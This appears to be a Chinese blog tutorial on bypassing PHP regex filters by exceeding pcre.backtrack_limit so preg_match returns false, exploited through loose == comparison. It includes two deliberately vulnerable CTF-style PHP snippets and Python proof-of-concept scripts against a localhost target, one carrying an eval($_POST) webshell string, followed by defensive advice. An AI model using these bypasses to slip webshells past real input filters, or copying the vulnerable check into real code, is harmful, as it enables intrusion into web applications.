PHP正则回溯绕过max backtrack limit实战解析

纸上星河
纸上星河
发布时间:2026-10-15| 3人浏览过
原创

在PHP开发中,正则表达式处理不当可能引发拒绝服务攻击(reDOS)。本文深入解析正则回溯机制,展示如何通过触发`pcre.backtrack_limit`上限使匹配函数失效,并利用PHP的松散类型比较特性进行逻辑绕过,最后给出防御建议。

什么是正则回溯

正则表达式的匹配过程本质上是一种状态搜索。当引擎尝试匹配字符串时,如果某条路径走不通,它会“后退”到之前的某个决策点,尝试其他可能性,这个过程称为“回溯”。这种不断前进、后退寻找解的方法被称为回溯法,其底层逻辑类似于深度优先搜索(DFS)。

以非贪婪模式为例,当使用正则 ab{1,3}c 匹配文本 abc 时:

  1. 初步匹配:引擎首先尝试最少匹配,即 b{1},此时匹配到 ab。
  2. 后续检查:接着期望匹配字符 c,但在当前字符串中 b 后面是结束符而非 c,匹配失败。
  3. 发生回溯:引擎退回到 b{1} 之前的状态,尝试增加 b 的数量至 b{2},匹配 ab 后仍无 c。
  4. 继续回溯:再次尝试 b{3},同理失败。最终确认无法匹配并返回结果。

为什么可以利用正则回溯进行绕过

大量的回溯会长时间占用CPU资源,从而导致系统性能下降甚至崩溃。这种现象被称为正则表达式拒绝服务攻击(ReDoS)。

为了防止此类攻击,PHP在配置文件中设定了一个回溯次数上限:pcre.backtrack_limit。可以通过以下命令查看当前环境的设置:

var_dump(ini_get('pcre.backtrack_limit'));

默认情况下,该上限通常为 1000000(100万次)。如果正则引擎的回溯次数超过此限制,preg_match 等函数将不再返回 1(匹配成功)或 0(匹配失败),而是直接返回 false,表示执行因超限而强制终止。

利用PHP的松散比较特性

在PHP中,单等号(==)为松散比较,双等号(===)为严格比较。理解这一差异是实现绕过的关键:

  • 松散比较 (==):只比较值,不比较类型。在转换为相同类型后,字符串 '0' 与布尔值 false 被认为是相等的。
  • 严格比较 (===):既比较值也比较类型。字符串 '0' 与布尔值 false 类型不同,因此不相等。

验证示例:

"0" == false: true
"0" === false: false

php正则回溯绕过案例一

假设存在如下业务逻辑代码,意图检测输入中是否包含PHP标签:

<?php
$input = $_POST['file'];
// 注意此处使用松散比较判断是否为 '0'
if(is_php($input)=='0') {
    echo "flag{raoguo-cenggong}";
}else{
    echo "bad requests";
}
function is_php($data){  
    // 尝试匹配  和 ?> 之间的内容
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

分析:
正常输入如 <?php eval($_POST['x']); ?> 会被正则匹配成功,返回 1。由于 1 != '0',输出 “bad requests”。
但如果我们构造一个极长的字符串,使得正则回溯次数超过 pcre.backtrack_limit,preg_match 将返回 false。此时 false == '0' 成立,从而绕过检查。

Python POC 构造:

import requests
datas = {
    # 大量重复字符用于触发深层回溯
    'file' : "<?php eval($_POST['oupeng']); ?>" + 'h' * 1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)

php正则回溯绕过案例二

另一种常见场景是正则校验与字符串函数校验并存。代码如下:

<?php
function areyouok($greeting){
    // 正则匹配 Merry.*Christmas
    return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // 如果正则未命中,再检查 strpos
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'flag{cheng-gong}';
        }else{
            echo 'no have Merry Christmas';
        }
    }else{
        echo 'Bypass the failure';
    }
}
?>

分析:
程序逻辑是:如果 areyouok 返回真(正则匹配),则进入 else 分支输出 “Bypass the failure”。如果正则返回假(包括未匹配或出错),则进一步用 strpos 查找。

如果我们发送 Merry Christmas 加上大量无关字符(如 'h' * 100000),正则引擎在处理 . 贪婪匹配时会产生海量回溯。当回溯超限,preg_match 返回 false。此时 !areyouok() 为真,进入内部逻辑,strpos 发现存在目标字符串,从而输出 Flag。

Python POC:

import requests
datas = {
    'greeting': 'Merry Christmas' + 'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

作为对比,如果仅发送长字符串而无前缀 Merry Christmas:

import requests
datas = {
    'greeting': 'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

防御与总结

上述案例揭示了正则回溯被滥用时的安全隐患。要防止此类问题,应采取以下措施:

  1. 提升回溯限制:适当增大 pcre.backtrack_limit,但这只是缓兵之计,治标不治本。
  2. 优化正则表达式:避免使用嵌套量词(如 (a+)+)、过度复杂的分组以及模糊的通配符组合。使用原子组 (?>...) 或拥有权量词可以彻底消除灾难性回溯的可能性。
  3. 使用严格比较:在代码逻辑中,尽量使用 === 替代 ==,防止 false 与 '0' 误相等。
  4. 替代方案:对于简单的字符串存在性检查,优先使用 strpos、str_contains 等内置函数,它们比正则更高效且不受回溯限制影响。

以上就是PHP正则回溯绕过最大次数上限案例详解的详细内容,更多关于PHP正则回溯的内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。